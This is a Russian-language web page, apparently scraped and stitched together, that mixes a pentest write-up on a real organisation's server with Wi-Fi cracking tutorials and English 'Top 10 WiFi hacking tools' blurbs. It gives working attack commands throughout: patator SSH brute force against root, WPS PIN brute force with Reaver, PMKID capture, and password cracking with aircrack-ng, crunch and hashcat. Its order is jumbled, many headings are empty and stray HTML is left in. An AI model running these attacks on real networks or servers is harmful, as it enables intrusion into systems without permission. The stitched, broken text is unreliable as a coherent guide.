Содержание
- 1 11. Брут-форс SSH и FTP
- 2 10. Поиск слабых настроек сервера
- 3 Взлом WPS по наиболее вероятным пинам
- 4 Полный перебор WPS пинов с Reaver
- 5 Захват PMKID в Airodump-ng
- 6 1 Aircrack-ng
- 7 Перевод Wi-Fi адаптера в режим монитора
- 8 Автоматизированный взлом Wi-Fi в WiFite
- 9 Возможно ли сейчас взломать Wi-Fi?
- 10 Что необходимо для взлома Wi-Fi
- 11 Какая беспроводная карта подойдёт для перебора WPS
- 12 Принцип действия
- 13 6 oclHashcat
- 14 Термины Wi-Fi сетей
- 15 Добавление Wi-Fi сетей в список исключений
- 16 2 Reaver
- 17 Какая техника взлома WiFi самая быстрая?
- 18 Взлом Wi-Fi в Aircrack-ng с генерируемыми на лету паролями в Crunch
- 19 Особенности работы с WiFite v2.00
- 20 Установка WiFite
- 21 3 Pixiewps
- 22 Быстрый брут-форс пароля
- 23 Справка по WiFite
- 24 Обзор Wi-Fi сетей
- 25 9 Crunch
- 26 Уязвимость WPS
- 27 Заключение
11. Брут-форс SSH и FTP
На сервере были найдены два пользователя с правами администратора, root и ещё один, имя которого привести не могу.
Анализ исходного кода веб-интерфейсов для просмотра сохранённых с камер фотографий дал ещё один пароль — тоже из шести цифр
Я обратил внимание, что владельцем папок веб-сервера, где расположены фотографии, является не Apache (не www-data), а разные пользователи. Оказалось, что для них предусмотрены учётные данные FTP, а также для под ними можно входить по SSH, причём в обоих случаях подходит пароль администратора, который подходит и для root MySQL, и для сервиса на сайте
К сожалению, у этих пользователей нет прав на выполнение команд с sudo. То есть у меня и так уже есть доступ к тому, к чему у них есть доступ (разве что, под этими пользователями можно редактировать файлы сайтов).
Но, что самое печальное, что этот самый пароль администратора не подходит к пользователю системы Linux, также не подходит к учётной записи root. Если честно, я сначала даже удивился — ко всему подходит, а к этому не подходит… Видимо, пароли для этих пользователей придумывали на аутсорсе…
Будем исходить из того, что пароль всё-таки из шести цифр. Тогда сгенерируем его с помощью maskprocessor:
maskprocessor ?d?d?d?d?d?d > dig.pass
Для брутфорса я предпочитаю patator.
Я хотел запустить подбор пароля прямо с самого сервера. Python там оказался установленным, но не оказалось paramiko, поэтому я получил ошибку:
ERROR: paramiko 1.7.7.1 (http://www.paramiko.org/) is required to run ssh_login.
В результате запустил брут-форс по старинке:
patator ssh_login host=IP user=root password=FILE0 0=dig.pass -x ignore:mesg='Authentication failed.'
У меня уже не было цели во что бы то ни стало добыть пароль — уже доказано, что сервер небезопасен. Поэтому я не брутфорсил 24/7, запускал иногда перебор, когда вспоминал про это. Дней через 10 вдруг перебор застопорился:
ssh: connect to host IP port 22: Connection refused
Я сначала подумал, что забанили IP, откуда присылались запросы. Но это не подвердилось.
Как оказалось, на сервер был выполнен вход под учётной записью root и был изменён файл /etc/ssh/sshd_config. Не знаю, это связано с моей деятельностью или просто админ решил «докрутить безопасность». Я заглянул в файл настроек SSH:
cat /etc/ssh/sshd_config
Главное, в чём была докрутка, это вот такая директива:
Port 40022
То есть вместо порта 22 теперь SSH сервер работает на порте 40022 — видимо, чтобы никто не догадался.
Для решения этой проблемы в patator нужно указать нестандартный порт:
patator ssh_login host=IP port=40022 user=root password=FILE0 0=dig.pass -x ignore:mesg='Authentication failed.'
Если перебор не доведён до конца, то при завершении работы patator выведет что-то вроде:
08:56:40 patator INFO - To resume execution, pass --resume 3591,3577,3564,3592,3572,3588,3588,3568,3584,3588
Если вы хотите продолжить с того места, где была сделана остановка, то при последующем запуске patator добавьте эту строку к команде, получится примерно так:
patator ssh_login host=IP port=40022 user=root password=FILE0 0=dig.pass -x ignore:mesg='Authentication failed.' --resume 3591,3577,3564,3592,3572,3588,3588,3568,3584,3588
Удачный подбор пароля от Linux пользователя root или от пользователя, у которого есть права на выполнение команд с sudo, означает самую полную компрометацию сервера — полный взлом. Взломать сильнее уже невозможно — становятся доступными любые настройки, любые файлы, любые действия на сервере.
10. Поиск слабых настроек сервера
Итак, из веб-сайтов мы уже вытрясли всё, что только можно, — исходный код, базы данных, пароли пользователей.
Теперь давайте осмотримся на самом сервере — к чему у нас есть доступ, какие настройки являются слабыми, какую информацию мы можем получить о системе, пользователях, запущенных службах.
Всё это можно делать вручную запуская утилиты в командной строке или воспользоваться одной из программ автоматизации. Например, я применю LinEnum. Подробности работы с ней описаны в «Аудит безопасности хостинга и других совместно используемых систем на Linux».
Скачиваем её:
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
Запускаем:
bash LinEnum.sh
И ждём результатов.
Информации много. Информацию о системе и ядре можно использовать для поиска эксплойтов, которые выполняют эскалацию привилегий — повышение прав.
Получена информация о пользователях (имя, IP, дата последнего входа), выполнявших вход в систему, — их имена можно использовать для брут-форса (подбора пароля методом перебора) SSH. Причём у одного из пользователей локальный адрес 10.*.*.* — это даёт нам подсказку о структуре локальной сети.
Показано, кто из пользователей является администратором, а также аккаунты, кто недавно использовал sudo (то есть у кого есть право выполнять команды с повышенными привилегиями — такие аккаунты представляют первостепенный интерес).
Собрана информация о сетевых интерфейсах, показан локальный IP — можно выполнить сканирование сети в поисках других подключённых устройств.
Показаны прослушиваемые порты (те, к которым можно подключиться) — их много. Их стоит проверить, так как там могут быть интересные службы.
Информация о запущенных процессах говорит о том, что работает почтовый сервер, прокси, DNS сервер, служба IP камер.
Собраны номера версий популярных служб — на случай, если мы будем искать эксплойты.
Среди интересных файлов внезапно обнаружился nmap — можно сканировать хост прямо с самого себя — это даст супер быстрые результаты.
Взлом WPS по наиболее вероятным пинам
Кроме уже рассмотренной атаке Pixie Dust, есть ещё одна очень интересная атака на Точки Доступа с включённым WPS. Дело в том, что для некоторых моделей роутеров пины генерируются по определённым алгоритмам, например, исходя из MAC адреса роутера или его серийного номера. Зная эти данные можно сгенерировать один или несколько пинов, которые с высокой долей вероятности подойдут для беспроводной Точки доступа.
Такая атака реализована в WiFi-autopwner (описание здесь) — в этом скрипте требуется Интернет-подключение для запроса ПИНов онлайн, но зато реализован фикс для адаптеров на чипсете Ralink (таких большинство).
Пример очень быстро взломанных Wi-Fi сетей этим методом:
Ещё аналогичная атака реализована в airgeddon. Но в этой программе WPS атаки не работают с адаптерами на чипсетах Ralink. В этой программе нужно использовать, например, Alfa AWUS036NHA (чипсет Atheros). Лучше всего с антенной Alfa ARS-N19. Именно такую связку используя и я.
Другие подробности смотрите в статье «Эффективный подбор WPS ПИНа по базе известных и сгенерированным ПИНам».
Полный перебор WPS пинов с Reaver
Если ни один из описанных методов не помог, то переходим к полному перебору, который может занять часы или даже сутки.
Команда для запуска перебора похожа на предыдущую, но отсутствует опция, запускающая атаку Pixie Dust:
sudo reaver -i интерфейс -b MAC_адрес_ТД
Перебор WPS пинов может идти неудачно по многим причинам, поэтому для более подробного вывода, чтобы определить, в чём проблема, используются опции -v, -vv или -vvv. Как можно догадаться, чем больше букв v, тем больше будет выведено подробной информации.
Дополнительную информацию о других опциях Reaver, а также подробное описание других ходовых опций, вы найдёте здесь: https://kali.tools/?p=355
Захват PMKID в Airodump-ng
Теперь попробуем захватить PMKID с помощью Airodump-ng. Напомню, что PMKID содержится в первом сообщении рукопожатия, это сообщение Точка Доступа отправляет в ответ на ассоциацию с ней.
Нам нужно узнать, на каком канале работает целевая ТД, а также её BSSID (MAC-адрес). Для обзора эфира мы запускаем airodump-ng:
sudo airodump-ng wlp0s20f0u1
Меня интересует беспроводная сеть Paangoon_2G, она работает на канале 9 и её MAC-адрес 40:3D:EC:C2:72:B8.
Вновь запускаем airodump-ng, с опцией —channel указываем желаемый канал, а с опцией -w указываем файл для записи захваченных радио фреймов:
sudo airodump-ng wlp0s20f0u1 --channel 9 -w cap2
Теперь нужно ассоциироваться с точкой доступа. Для этого я пробовал использовать aireplay-ng, но эта программа поддерживает ассоциацию только для WEP и не работает с WPA (ошибка Denied (code 12), wrong ESSID or WPA).
Ассоциация происходит естественным образом при попытке подключиться к этой точки доступа, то есть с другой беспроводной карты можно начать подключение к точке доступа и в этом случае действительно удаётся захватить PMKID, правда вместе с рукопожатием. Об этом говорит строка «WPA (1 handshake, with PMKID)».
Можно подключиться, например, через Network Manager или с помощью другого компьютера или телефона, пароль можно указать любой. Для подключения из командной строки, создайте конфигурационный файл (замените данные на свои):
wpa_passphrase "Paangoon_2G" 22222222 > Paangoon_2G.conf
Здесь:
- «Paangoon_2G» — имя интересующей меня сети
- 22222222 — произвольный пароль (не менее 8 символов)
- Paangoon_2G.conf — имя конфигурационного файла.
Для подключения выполните:
sudo wpa_supplicant -i wlo1 -c Paangoon_2G.conf -d
Здесь:
- -i wlo1 — имя беспроводного интерфейса, используемого для подключения
- -c Paangoon_2G.conf — используемый для подключения конфигурационный файл
- -d — опция, включающая показ сообщений отладки
Анализ полученного файла:
aircrack-ng cap2-01.cap
Для извлечения PMKID (чтобы для брутфорса не использовался хендшейк с заведомо неверным паролем), откроем этот файл в Wireshark:
wireshark-gtk cap2-01.cap
Для отделения только нужных данных, используем следующий фильтр (замените 40:3D:EC:C2:72:B8 на интересующую вас точку доступа):
(wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05 || (eapol && wlan.rsn.ie.pmkid)) && wlan.addr==40:3D:EC:C2:72:B8
Загляните в первое сообщение рукопожатия и убедитесь, что там действительно присутствует PMKID:
Теперь с помощью CTRL+m выделите нужные пакеты (Beacon и Message 1):
И в меню File выберите Export Specified Packets. Введите имя файла и поставьте переключатель на Marked packets only. Если вам непонятно, как сохранять отдельные фреймы, то смотрите статью «Как извлечь рукопожатия из файла захвата с несколькими рукопожатиями», там имеются дополнительные скриншоты.
Я сохранил эти два фрейма в файл extracted.pcap, проверяю файл:
aircrack-ng extracted.pcap
Отлично: хендшейков — 0, зато есть PMKID, об этом говорит уже знакомая нам строка «WPA (0 handshake, with PMKID)».
Можно вновь запустить тестовый взлом:
aircrack-ng -w test.dic extracted.pcap
Вновь пароль успешно взломан:
1 Aircrack-ng
Aircrack is one of the most popular tools for WEP/WPA/WPA2 cracking. The Aircrack-ng suite contains tools to capture packets and handshakes, de-authenticate connected clients and generate traffic and tools to perform brute force and dictionary attacks. Aicrack-ng is an all-in-one suite containing the following tools (among others):
– Aircrack-ng for wireless password cracking
– Aireplay-ng to generate traffic and client de-authentication
– Airodump-ng for packet capturing
– Airbase-ng to configure fake access points
The Aicrack-ng suite is available for Linux and comes standard with Kali Linux. If you plan to use this tool you have to make sure your Wifi card is capable of packet injection.
Website: https://www.aircrack-ng.org/
Tutorial: https://www.hackingtutorials.org/wifi-hacking/how-to-hack-upc-wireless-networks/
Перевод Wi-Fi адаптера в режим монитора
Автоматизированный взлом Wi-Fi в WiFite
Возможно ли сейчас взломать Wi-Fi?
Что необходимо для взлома Wi-Fi
- Компьютер, на который можно установить Linux
- Специализированное программное обеспечение, для Linux оно является свободным (т.е. распространяется бесплатно и у него открыт исходный код)
- Беспроводная Wi-Fi карта, которая поддерживает режим монитора. Список актуальных карт.
- Соответствующие знания и навыки – это вы найдёте в данной статье.
Wi-Fi карты с поддержкой режима монитора имеются в свободной продаже, их цена соответствует ценам других беспроводным картам с аналогичными характеристиками. В моём ноутбуке встроенная карта оказалась с поддержкой режима монитора – т.е. это не является редкостью и их могут достать любые желающие.
Как можно убедиться, все компоненты необходимые для взлома Wi-Fi являются весьма доступными.
Все дальнейшие действия выполняются в Kali Linux.
Какая беспроводная карта подойдёт для перебора WPS
Принцип действия
В основе атаки лежит уязвимость четырехэлементного хендшейка WPA2. Этот хендшейк выполняется тогда, когда клиент хочет подключиться к защищенной сети Wi-Fi. В процессе подтверждается, что обе стороны (клиент и точка доступа) обладают корректными учетными данными. В то же время хендшейк используется для согласования свежего ключа шифрования, который впоследствии будет применяться для защиты трафика.
Злоумышленник может устроить атаку типа man in the middle и принудить участников сети реинсталлировать ключи шифрования, которые защищают трафик WPA2. К тому же, если сеть настроена на использование WPA-TKIP или GCMP, злоумышленник сможет не только прослушивать трафик WPA2, но и инжектить пакеты в данные жертвы.
Эксплуатируя эту критическую ошибку, можно добиться расшифровки трафика, сделать HTTP-инжекты, перехватить TCP-соединения и многое другое.
От KRACK может защитить использование HTTPS, однако далеко не всегда. Дело в том, что сам HTTPS нельзя назвать абсолютно безопасным (к примеру, существуют методики даунгрейда соединения), хотя он и станет дополнительным слоем шифрования.
Метод универсален и работает против любых незапатченных устройств, подключенных к Wi-Fi. Главное условие заключается в том, что атакующему придется находиться в зоне действия атакуемой сети Wi-Fi, то есть атаку нельзя провести удаленно.
Мэти Ванхоф демонстрирует уязвимость
Уязвимости, вошедшие в состав KRACK
- CVE-2017-13077: reinstallation of the pairwise encryption key (PTK-TK) in the 4-way handshake.
- CVE-2017-13078: reinstallation of the group key (GTK) in the 4-way handshake.
- CVE-2017-13079: reinstallation of the integrity group key (IGTK) in the 4-way handshake.
- CVE-2017-13080: reinstallation of the group key (GTK) in the group key handshake.
- CVE-2017-13081: reinstallation of the integrity group key (IGTK) in the group key handshake.
- CVE-2017-13082: accepting a retransmitted Fast BSS Transition (FT) Reassociation Request and reinstalling the pairwise encryption key (PTK-TK) while processing it.
- CVE-2017-13084: reinstallation of the STK key in the PeerKey handshake.
- CVE-2017-13086: reinstallation of the Tunneled Direct-Link Setup (TDLS) PeerKey (TPK) key in the TDLS handshake.
- CVE-2017-13087: reinstallation of the group key (GTK) when processing a Wireless Network Management (WNM) Sleep Mode Response frame.
- CVE-2017-13088: reinstallation of the integrity group key (IGTK) when processing a Wireless Network Management (WNM) Sleep Mode Response frame.
6 oclHashcat
Number 6 in our Top 10 Wifi Hacking Tools is oclHashcat. oclHashcat is not a dedicated Wifi hacking tool and is not included with Kali Linux, but it can do brute force and dictionary attacks on captured handshakes very fast when using a GPU. After using the Aircrack-ng suite, or any other tool, to capture the WPA handshake you can crack it with oclHashcat using your GPU. Using a GPU with oclHashcat, instead of a CPU with Aicrack-ng, will speed up the cracking process a lot. An average GPU can try about 50.000 combinations per second with oclHashcat.
oclHashcat is available for Windows and Linux and has a version for AMD and Nvidia video cards. AMD video cards require Catalyst 14.9 exactly and Nvidia video cards require ForceWare 346.x or later to work.
Website: https://hashcat.net/oclhashcat/
Tutorial: https://www.hackingtutorials.org/wifi-hacking/cracking-wpa-oclhashcat-gpu/
Термины Wi-Fi сетей
Добавление Wi-Fi сетей в список исключений
Если вы уже захватили рукопожатия для некоторых беспроводных сетей, то имеет смысл добавить их в исключения. Ещё один пример использования исключений: я запустил Hashcatch, положил ноутбук в рюкзак и пошёл прогуляться, посмотреть, сколько удастся собрать рукопожатий. Чтобы компьютер был постоянно подключён к интернету, я на мобильном телефоне создал Wi-Fi хот-спот и подключился к нему с ноутбука второй (встроенной) Wi-Fi картой. Это мне нужно было для того, чтобы Hashcatch не только сохраняла рукопожатия, но и получала для них координаты.
Чтобы не атаковать некоторые ТД, откройте конфигурационный файл /etc/hashcatch/hashcatch.conf:
gedit /etc/hashcatch/hashcatch.conf
И добавьте туда директиву ignore и перечислите ТД которые не нужно атаковать. Например, у меня это AndroidAP:
interface=wlp0s20f0u4 ignore=AndroidAP
Если хотите исключить несколько ТД, то перечислите их через запятую. Ничего страшного, если названия ТД содержат пробелы, но пробелов не должно быть рядом со знаком равно (=) и между запятыми, например:
interface=wlan0 ignore=Google Starbucks,AndroidAP
Кстати, чтобы компьютер не выключился через некоторое «время простоя», и вообще не выключился сразу после того, как закроете крышку ноутбука, нужно правильно установить настройки электропитания. Информацию об этом смотрите в статьях:
- Управление электропитанием в Linux (GNOME) — про Kali Linux тут!
- Управление электропитанием в Linux (Cinnamon)
2 Reaver
Number 2 in the Top 10 Wifi Hacking Tools is Reaver. Reaver is another popular tool for hacking wireless networks and targets specifically WPS vulnerabilities. Reaver performs brute force attacks against Wifi Protected Setup (WPS) registrar PINs to recover the WPA/WPA2 passphrase. Since many router manufacturers and ISPs turn on WPS by default a lot of routers are vulnerable to this attack out of the box.
In order to use Reaver you need a good signal strength to the wireless router together with the right configuration. On average Reaver can recover the passphrase from vulnerable routers in 4-10 hours, depending on the access point, signal strength and the PIN itself off course. Statistically you have a 50% chance of cracking the WPS PIN in half of the time.
Website: https://code.google.com/p/reaver-wps/
Tutorial: https://www.hackingtutorials.org/wifi-hacking/pixie-dust-attack-wps-in-kali-linux-with-reaver/
Какая техника взлома WiFi самая быстрая?
Раньше я бы ответил: WPS. Если на точке доступа включен Wi-Fi Protected Setup, то с большой вероятностью она вскрывается перебором известных пинов или более изящной атакой PixieDust. Список пинов для перебора берется из дефолтных конфигов производителя, который определяется по MAC-адресу. Делать исчерпывающий перебор всех вариантов (брутфорс) чаще всего бессмысленно, так как после N неудачных попыток авторизации по WPS роутер надолго блокирует дальнейшие.
Успешный подбор WPS PIN с помощью WiFi-Autopwner
В любом случае атака на WPS занимала до пяти минут и казалась скоростной по сравнению с ожиданием захвата хендшейка WPA, который потом еще надо мучительно долго брутить. Однако сейчас появился новый тип атаки — PMKID (Pairwise Master Key Identifier). На уязвимых роутерах она позволяет захватить хендшейк за считаные секунды, и даже при отсутствии подключенных к нему клиентов! С ней не надо никого ждать и деаутентифицировать, достаточно одной (даже безуспешной) попытки авторизации с вашей стороны.
Поэтому оптимальный алгоритм взлома (аудита) следующий: определяем, включен ли на целевой точке доступа режим WPS. Если да, запускаем PixieDust. Безуспешно? Тогда перебор известных пинов. Не получилось? Проверяем, не включено ли шифрование WEP, которое тоже обходится влет. Если нет, то выполняем атаку PMKID на WPA(2). Если уж и так не получилось, тогда вспоминаем классику и ждем хендшейка (чтобы не палиться) или активно кикаем клиентов, чтобы наловить их сессии авторизации.
Я узнал WPS PIN, что дальше?
Дальше с его помощью можно подключиться к роутеру и узнать пароль, каким бы длинным и сложным он ни был. Вообще WPS — это огромная дыра в безопасности. На своем оборудовании я всегда его отключаю, а потом еще проверяю WiFi-сканером, действительно ли WPS выключен.
Я перехватил хендшейк. Что с ним делать?
Четырехстороннее рукопожатие записывается скриптом Wifite2 в файл с расширением .cap.
Захват классического хендшейка WPA
TCPdump, Wireshark, Nmap и другие программы используют формат .pcap. Хендшейк PMKID будет иметь формат .16800.
По умолчанию Wifite использует для подбора паролей Aircrack-ng. Он отправляет команду вида
aircrack-ng yourhandshake.cap -w /yourwordlist.txt
1 | aircrack-ng yourhandshake.cap-wyourwordlist.txt |
В простейших вариантах этого достаточно, однако чаще приходится конвертировать хендшейки с помощью hcxtools, чтобы скормить одной из продвинутых утилит для перебора паролей. Например, John the Ripper или hashcat.
Мне больше нравится hashcat. Для работы с ней нужно конвертировать .cap в формат .hccapx. Сделать это можно также онлайн или локально утилитой cap2hccapx. В последнем случае придется скачать исходник и скомпилировать его.
wget https://raw.githubusercontent.com/hashcat/hashcat-utils/master/src/cap2hccapx.c
gcc -o cap2hccapx-converter cap2hccapx.c
1 2 |
wget https//raw.githubusercontent.com/hashcat/hashcat-utils/master/src/cap2hccapx.c gcc-ocap2hccapx-converter cap2hccapx.c |
Полученный исполняемый файл cap2hccapx-converter удобнее закинуть в /bin, чтобы затем обращаться к нему откуда угодно.
<span class=»pln»>mv cap2hccapx</span><span class=»pun»>-</span><span class=»pln»>converter </span><span class=»pun»>/</span><span class=»pln»>bin</span>
1 | <span class=»pln»>mv cap2hccapx<span><span class=»pun»>-<span><span class=»pln»>converter<span><span class=»pun»><span><span class=»pln»>bin<span> |
Успешный взлом пароля WiFi в hashcat по хендшейку WPA2
Точно так же брутятся хеши PMKID. Просто нужно явно указать hashcat тип хендшейка и словарь.
hashcat64 -m 2500 -w3 Beeline.hccapx «wordlist\wpadict.txt» # Перебираем пароли по своему словарю wpadict.txt к хешу из рукопожатия WPA(2) в файле Beeline.hccapx
hashcat64 -m 16800 -w 3 RT-WiFi.16800 «wordlist\rockyou.txt» # Используем хендшейк PMKID из файла RT-WiFi.16800 и готовый словарь rockyou.txt
1 2 |
hashcat64-m2500-w3 Beeline.hccapx»wordlist\wpadict.txt»# Перебираем пароли по своему словарю wpadict.txt к хешу из рукопожатия WPA(2) в файле Beeline.hccapx hashcat64-m16800-w3RT-WiFi.16800″wordlist\rockyou.txt»# Используем хендшейк PMKID из файла RT-WiFi.16800 и готовый словарь rockyou.txt |
Брут PMKID в hashcat
Взлом Wi-Fi в Aircrack-ng с генерируемыми на лету паролями в Crunch
Crunch — генератор словарей с паролями, в которых можно определить стандартную или заданную кодировку. Crunch может создать список слов со всевозможными комбинациями и перестановками в соответствии с заданными критериями. Данные, которые выводит crunch, могут быть отображены на экране, сохранены в файл или переданы в другую программу.
Простой пример использования:
crunch <минимальная-длина> <максимальная-длина>
Вообще, Crunch очень гибкая программа, и чтобы использовать её на 100% нужно изучить её опции и ознакомиться с примерами. Разнообразные примеры использования crunch вы найдёте на странице: https://kali.tools/?p=720
Для моего случая можно было бы сделать так:
crunch 11 11 -t pattaya@@@@ | aircrack-ng -w - -e dlink dlink-02.cap
Или так:
crunch 11 11 -t @@@@@@@@@@@ | aircrack-ng -w - -e dlink dlink-02.cap
Особенности работы с WiFite v2.00
Где WiFite сохраняет захваченные рукопожатия?
WiFite предыдущих версий сохраняла их в текущую рабочую директорию. В Kali Linux это обычно /root/
WiFite v2.00 сохраняет рукопожатия в директорию hs, которая находится внутри директории с установленной программой, например: /usr/share/wifite/hs/
Это можно поменять опцией —hs-dir, после которой укажите желаемую директорию для сохранения рукопожатий.
cowpatty: .cap file does not contain a valid handshake
Если у вас постоянно возникает ошибка
cowpatty: .cap file does not contain a valid handshake
то она связана с тем, что WiFite v2.00 проверяет валидность рукопожатия сразу в четырёх программах, и программа cowpatty даже для верных рукопожатий пишет, что они недействительны. Для отключения проверки рукопожатия с помощью cowpatty в WiFite v2.00, найдите файл Handshake.py
$ locate Handshake.py /usr/share/wifite/py/Handshake.py
Откройте его для редактирования:
sudo gedit /usr/share/wifite/py/Handshake.py
Найдите строки
pairs = self.cowpatty_handshakes() Handshake.print_pairs(pairs, self.capfile, 'cowpatty')
и закомментируйте их, чтобы получилось так:
# pairs = self.cowpatty_handshakes() # Handshake.print_pairs(pairs, self.capfile, 'cowpatty')
Быстрое завершение с key unknown
Если WiFite v2.00 получает рукопожатие, но быстро завершает свою работу с сообщением:
key unknown
То для того, чтобы она начала взламывать полученное рукопожатие, а не просто прекращала работу, нужно указать путь до словаря с опцией —dict.
Установка WiFite
Программа предустановлена в Kali Linux, дополнительно установите программы:
- hcxdumptool
- hcxtools
Установка в Linux
Обязательные зависимости:
- Python. Wifite — это скрипт на Python и для запуска требуется Python, программа совместима с версиями python2 и python3.
- iwconfig: Для определения, находятся ли беспроводные интерфейсы уже в режиме монитора.
- ifconfig: Для запуска/остановки беспроводных устройств
- Набор aircrack-ng. Используются конкретно следующие программы:
- airmon-ng: Для перечисления и включения Режима Мониторар на беспроводных интерфейсах.
- aircrack-ng: Для взлома WEP .cap файлов и захваченных WPA рукопожатий.
- aireplay-ng: Для деаутентификации Точек Доступа, повторного вопроизведения файлов захвата, различных WEP аттак.
- airodump-ng: Для сканирования целей и генерации файлов захвата.
- packetforge-ng: Для подделки файлов захвата.
Необязательные, но рекомендуемые зависимости:
- Reaver, предназначен для подборки пина WPS (Wifi Protected Setup) методом перебора. Reaver включает сканер «walsh» (или «wash») для выявления точек доступа с включённым WPS. Wifite использует Reaver сканирования и для атаки на роутеры с включённым WPS.
- Pyrit, взломщик ключей WPA PSK, используя графический процессор. Wifite использует Pyrit (если нашла) для выявления хендшейков. В будущем Wifite может получить опцию взламывать хендшейки WPA с помощью Pyrit.
- tshark. Поставляется в связке с Wireshark, программным обеспечением для сниффинга пакетов.
- coWPAtty, взломщик ключей WPA PSK. Wifite использует cowpatty (если нашла) для выявления рукопожатий.
- Pixiewps, это инструмент, написанный на C, он используется для оффлайн брутфорса пина WPS посредством эксплуатирования низкой или несуществующий энтропии некоторых точек доступа (атака pixie dust).
После установки зависимостей, установка самой WiFite очень проста:
git clone https://github.com/derv82/wifite2.git cd wifite2/ sudo ./Wifite.py --help
3 Pixiewps
PixieWPS is a relatively new tool included with Kali Linux and also targets a WPS vulnerability. PixieWPS is written in C and is used to brute force the WPS PIN offline exploiting the low or non-existing entropy of vulnerable access points. This is called a pixie dust attack. PixieWPS requires a modified version of Reaver or Wifite to work with. Since this tools has become quite popular in little time, it earns the number 3 in our Top 10 Wifi Hacking Tools list.
Website: https://github.com/wiire/pixiewps/
Modified Reaver: https://github.com/t6x/reaver-wps-fork-t6x
Tutorial: https://www.hackingtutorials.org/wifi-hacking/pixie-dust-attack-wps-in-kali-linux-with-reaver/
Быстрый брут-форс пароля
Справка по WiFite
Обзор Wi-Fi сетей
9 Crunch
Crunch is a great and easy to use tool for generating custom wordlists which can be used for dictionary attacks. Since the success rate of every dictionary attack depends on the quality of the used wordlist, you cannot avoid creating your own wordlist. Especially when you want to create wordlists based on default router passwords. Crunch can also be piped directly to other tools like Aircrack-ng. This feature can save a lot of time since you won’t have to wait until large password lists have been generated by Crunch before you can use them.
Website: https://sourceforge.net/projects/crunch-wordlist
Tutorial: https://www.hackingtutorials.org/general-tutorials/password-list-with-crunch/
Уязвимость WPS
В декабре 2011 Стефан Фибёк (англ. Stefan Viehböck) и Крейг Хеффнер (англ. Craig Heffner) рассказали о серьёзных прорехах в протоколе WPS. Оказалось, что если в точке доступа активирован WPS c PIN (который по умолчанию включен в большинстве роутеров), то подобрать PIN-код для подключения можно за считанные часы.
PIN-код состоит из восьми цифр — следовательно, существует 108 (100 000 000) вариантов PIN-кода для подбора. Однако количество вариантов можно существенно сократить. Дело в том, что последняя цифра PIN-кода представляет собой контрольную сумму, которая можно вычислить на основании первых семи цифр. Таким образом количество вариантов уже сокращается до 107 (10 000 000).
Авторизация по WPS предполагает отправку клиентом последовательности цифр PIN-кода и пакетов M4 или M6 и ответы на них от базовой станции. Если первые 4 цифры PIN-кода некорректны то получив их точка доступа отправит EAP-NACK сразу после получения M4, а если была ошибка в последних 3 цифрах правой части (8-ое число не считаем так как оно легко генерируется атакующим по формуле) — то после получения M6. Таким образом, недостаток протокола позволяет разделить PIN-код на две части, 4 начальные цифры и 3 последующие и проверять каждую часть на корректность отдельно используя базовую станцию как оракула, который подсказывает правильная ли последовательность цифр была отправлена.
Если PIN-код разбить на две части: Следовательно, получается 104 (10 000) вариантов для первой половины и 103 (1000) для второй. В итоге это составляет всего лишь 11 000 вариантов для полного перебора, что в более 9000 раз меньше исходного числа вариантов 108.
Таким образом вместо одного большого пространства значений 107 мы получаем два по 104 и 103, и, понятно, что 107 <> 104+103. В итоге достаточно протестировать 11 000 комбинаций (больше 4-х цифр на тысячу) вместо 10 000 000.
Также были обнаружены уязвимости в генераторе случайных чисел маршрутизаторов некоторых производителей. Уязвимость получила название pixie dust. Для уязвимых роутеров можно получить pin после первой попытки и оффлайн-брутфорса.
Заключение
Вы можете подумать, что этот рассказ — это просто перечисление всех самых детских и самых нелепых ошибок, которые только могут допустить начинающие школьник-программист и администратор. Мол в реальной-то жизни такого не бывает. Бывает… Это абсолютно реальный разбор, реального сервера.
К сожалению, не могу даже в общих чертах сказать о контексте этого случая. Но факт в том, что организация, которой принадлежит этот сервер, находится в Москве и у неё не без оснований на стене висит большой триколор.
Вы можете обратить внимание, что я по минимуму использовал специализированные утилиты. Почти все «взломы» заключались в том, что я знал где и что нужно смотреть и просто это смотрел
Поэтому обучение аудиту безопасности сайтов (взлому сайтов), заключается не только в изучении специализированных утилит. В первую очередь нужно понимание происходящих процессов. Если мы говорим о сайтах, то должно быть понимание, как они функционируют. Я не могу себе представить, как можно делать тест на проникновение сайта, если нет умений по программированию на PHP и хоть какого-то опыта в создании сайтов и веб приложений (CMS, движков и прочего). Если пентестинг продолжается на сервере, то тут просто нечего делать без таких мирных профессиональных навыков как:
- понимание работы сервера, умение его настраивать
- понимание ОС Linux, её внутренного устройства
- умение работать в командной строке и знание хотя бы самых ходовых команд (утилит) Linux